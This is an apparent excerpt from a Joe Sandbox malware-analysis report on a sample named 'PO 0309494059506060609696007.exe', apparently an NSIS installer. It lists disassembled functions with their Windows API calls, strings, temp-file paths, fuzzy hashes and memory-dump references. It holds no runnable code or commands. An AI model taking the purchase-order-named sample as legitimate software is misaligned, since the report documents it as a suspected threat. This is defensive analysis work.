Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: e1d542de2cd716b5e5aca43617af61348071ba80885408b45aa8db9304e84829
Instruction ID: 97abdd23f95b89fa957f28f44bfdcbbe1494948371ff671501e6f707f2390605
Opcode Fuzzy Hash: e1d542de2cd716b5e5aca43617af61348071ba80885408b45aa8db9304e84829
Instruction Fuzzy Hash: B7014F7164020CBBEF209F60DE49FAA3B69AB04304F008439FA06B91E0DBB885558B98

Function 6E422569 Relevance: 9.1, APIs: 6, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 6E42121B: GlobalAlloc.KERNELBASE(00000040,?,6E42123B,?,6E4212DF,00000019,6E4211BE,-000000A0), ref: 6E421225

GlobalFree.KERNEL32(?), ref: 6E422657
GlobalFree.KERNEL32(00000000), ref: 6E42268C

Memory Dump Source

Source File: 00000000.00000002.2313961688.000000006E421000.00000020.00000001.01000000.00000006.sdmp, Offset: 6E420000, based on PE: true

Associated: 00000000.00000002.2313936159.000000006E420000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2313981846.000000006E424000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2314004902.000000006E426000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e420000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: b83bca3d4a8cd72a229f95349470e1144b6a24a95f5a03a91ed875c41f0a7b1e
Instruction ID: 254fadb246ca8b10dd922a256ef75859dadbcd8f7096a2f691423d6b9e44901f
Opcode Fuzzy Hash: b83bca3d4a8cd72a229f95349470e1144b6a24a95f5a03a91ed875c41f0a7b1e
Instruction Fuzzy Hash: 5731CF32124501DFCB249FF4ED94C6A7BBAFBC6344310457EF5419B264CB319896CB6A

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 4126a60767291b4e97372a1dfb43fb75c9546f442d683c376cf2255872b84c40
Instruction ID: 46c72067781f24dbae578634f425dbba750e376c3d5c902d6f733973cd64d3bf
Opcode Fuzzy Hash: 4126a60767291b4e97372a1dfb43fb75c9546f442d683c376cf2255872b84c40
Instruction Fuzzy Hash: 9621AEB1800128BBDF116FA5DE89DDE7E79AF08364F14423AF960762E0CB794C418B98

Function 00402598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nst14AC.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,00000400,?,?,00000021), ref: 004025E8
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nst14AC.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,00000400,?,?,00000021), ref: 004025F3

Strings

C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll, xrefs: 004025B3, 004025DA, 004025EE, 0040263A
C:\Users\user\AppData\Local\Temp\nst14AC.tmp, xrefs: 004025E1

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nst14AC.tmp$C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll
API String ID: 3109718747-3932230764
Opcode ID: 838fef82e08b076f5d49a30e748d8985297f415acc20a77e8e630ea48f411f47
Instruction ID: 4af4a56a495a7247eb1268c7c56f37f79310e300d8c273c1dd4748c0a8a00d57
Opcode Fuzzy Hash: 838fef82e08b076f5d49a30e748d8985297f415acc20a77e8e630ea48f411f47
Instruction Fuzzy Hash: 41110872A04301BADB046FB18E89A9F7664AF44398F24443FF103F61D0DAFC89416B5E

Function 6E4218D9 Relevance: 7.7, APIs: 5, Instructions: 194COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 6E42193A
GlobalFree.KERNEL32(?), ref: 6E421ADA
GlobalFree.KERNEL32(?), ref: 6E421ADF

Memory Dump Source

Source File: 00000000.00000002.2313961688.000000006E421000.00000020.00000001.01000000.00000006.sdmp, Offset: 6E420000, based on PE: true

Associated: 00000000.00000002.2313936159.000000006E420000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2313981846.000000006E424000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2314004902.000000006E426000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e420000_PO 0309494059506060609696007.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 661993671275bbb46ae38db8578875f32a5da435d3121ec1b1bc5f38f47a8141
Instruction ID: 238961c084d27bc44671c66f3de5cf2a27aa9e09376a63463d418f343a2c05dd
Opcode Fuzzy Hash: 661993671275bbb46ae38db8578875f32a5da435d3121ec1b1bc5f38f47a8141
Instruction Fuzzy Hash: 8E51D632D1405AAE8B409FF98540EAEB6B9EF45354F01427BD404A3B44D7B39F8AC7E1

Function 6E422394 Relevance: 7.6, APIs: 5, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 6E4224D6

Part of subcall function 6E42122C: lstrcpynW.KERNEL32(00000000,?,6E4212DF,00000019,6E4211BE,-000000A0), ref: 6E42123C

GlobalAlloc.KERNEL32(00000040), ref: 6E42245C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 6E422477

Memory Dump Source

Source File: 00000000.00000002.2313961688.000000006E421000.00000020.00000001.01000000.00000006.sdmp, Offset: 6E420000, based on PE: true

Associated: 00000000.00000002.2313936159.000000006E420000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2313981846.000000006E424000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2314004902.000000006E426000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e420000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: efee9b4b8ed2168a2f159eae8b3b28402ac690ef68e14d86cb24b2d25eb258ba
Instruction ID: c155a748f56fa3fe091ef58c5d4e2974919c43ea57d65fccdbd0a30341fa2547
Opcode Fuzzy Hash: efee9b4b8ed2168a2f159eae8b3b28402ac690ef68e14d86cb24b2d25eb258ba
Instruction Fuzzy Hash: DE41CFB0414605EFD710DFB6E844E6677B8FB49314B00883FE046CB641EFB4A586CBA5

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 09c23d4a4ca6f0b232d113dc6f4b45afdfe06e4b3b74d97eac453210c4480ab0
Instruction ID: f6b005b132729ba5a1909f4a704d5e159ac18246d791616e3be01574202a0a4f
Opcode Fuzzy Hash: 09c23d4a4ca6f0b232d113dc6f4b45afdfe06e4b3b74d97eac453210c4480ab0
Instruction Fuzzy Hash: 4EF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D419B38

Function 00404ADE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042D248,0042D248,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B7F
wsprintfW.USER32 ref: 00404B88
SetDlgItemTextW.USER32(?,0042D248), ref: 00404B9B

Strings

%u.%u%s%s, xrefs: 00404B69

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 053f193c39b459fdf5e8fe5933fd42d3277041dca56571489995df9c0bb26361
Instruction ID: 49dacc2217062e77d4dc452dcd456e10a33323318ced1260d8f84a7edb165714
Opcode Fuzzy Hash: 053f193c39b459fdf5e8fe5933fd42d3277041dca56571489995df9c0bb26361
Instruction Fuzzy Hash: D911C3736041283ADB00656D9C46F9E369C9B85334F254237FA25F21D1E979D82182E8

Function 00405C3A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,C:\,?,00405CAE,C:\,C:\,?,?,74DF3420,004059EC,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405C48
CharNextW.USER32(00000000), ref: 00405C4D
CharNextW.USER32(00000000), ref: 00405C65

Strings

C:\, xrefs: 00405C3B

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: CharNext
String ID: C:\
API String ID: 3213498283-3404278061
Opcode ID: 92222cf075acf2fbc044c76267536a24963eff6ee4d7f8d65295f56b9dd724d0
Instruction ID: 75375947fb2108fa8988f35f37760ff259c71c6e50658764317197b9124938a5
Opcode Fuzzy Hash: 92222cf075acf2fbc044c76267536a24963eff6ee4d7f8d65295f56b9dd724d0
Instruction Fuzzy Hash: DAF0BB61908F1199FB3177644C49E7B66BCDB55350B04853FD641B71C0D7F84C818BD9

Function 00405B8F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040337C,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004035D9,?,00000006,00000008,0000000A), ref: 00405B95
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040337C,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004035D9,?,00000006,00000008,0000000A), ref: 00405B9F
lstrcatW.KERNEL32(?,0040A014,?,00000006,00000008,0000000A), ref: 00405BB1

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B8F

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction ID: 9f579dd6f6e84daacee8b4087b975d8f345068127d43d06e1f6a06445f68851b
Opcode Fuzzy Hash: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction Fuzzy Hash: C8D05E31101534AAC111BF448D04CDF72ACAE45344742007AF501B20A2C7B82D5186FE

Function 00402E79 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403059,00000001,?,00000006,00000008,0000000A), ref: 00402E8C
GetTickCount.KERNEL32 ref: 00402EAA
CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402EC7
ShowWindow.USER32(00000000,00000005,?,00000006,00000008,0000000A), ref: 00402ED5

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 5c4e852214d6767aab513baeadf18d74bcc02012da70e31d5af0b3f9b2778c41
Instruction ID: ba23c68ca914eac1f4c080bcf69ea635dc5c4ffa9688b42209883b937cdf97fb
Opcode Fuzzy Hash: 5c4e852214d6767aab513baeadf18d74bcc02012da70e31d5af0b3f9b2778c41
Instruction Fuzzy Hash: 7FF03A30541630FBC6706B20FE0DA8B7B65FB44B02B42497AF002A19A4C7B849818ADC

Function 00405296 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004052C5
CallWindowProcW.USER32(?,?,?,?), ref: 00405316

Part of subcall function 0040427D: SendMessageW.USER32(00010446,00000000,00000000,00000000), ref: 0040428F

Strings

, xrefs: 004052A6

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 724b08e39b448c58c7649a37dc1be8b90ebc0ba8e0923a3b5611d97535f2409a
Instruction ID: 81d983181078a42bdaaa38d141d1896fcab4c42a172a92442cc7f35772e796f5
Opcode Fuzzy Hash: 724b08e39b448c58c7649a37dc1be8b90ebc0ba8e0923a3b5611d97535f2409a
Instruction Fuzzy Hash: 8E018431200709EBDF205F51DDD4A5B7B25EB84794F50507BFA00751D0D7BA8C929E2E

Function 00403915 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,74DF3420,004038ED,00403703,00000006,?,00000006,00000008,0000000A), ref: 0040392F
GlobalFree.KERNEL32(?), ref: 00403936

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403927

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3081826266
Opcode ID: 458fb59c7289fd05ef48150b7000eed9d6dd19151a6e1d3204a1ea3f1dd8076b
Instruction ID: cd662c2fc9a96c5040b18d0515cf0ea54f7952519699f51ce209c07819915f51
Opcode Fuzzy Hash: 458fb59c7289fd05ef48150b7000eed9d6dd19151a6e1d3204a1ea3f1dd8076b
Instruction Fuzzy Hash: 20E0C2335016209BC6215F04ED08B5E776CAF58B32F05447AF8807B26087B81C838FD8

Function 00405BDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\Desktop,00402F49,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PO 0309494059506060609696007.exe,C:\Users\user\Desktop\PO 0309494059506060609696007.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405BE1
CharPrevW.USER32(?,00000000,?,C:\Users\user\Desktop,00402F49,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PO 0309494059506060609696007.exe,C:\Users\user\Desktop\PO 0309494059506060609696007.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405BF1

Strings

C:\Users\user\Desktop, xrefs: 00405BDB

Memory Dump Source

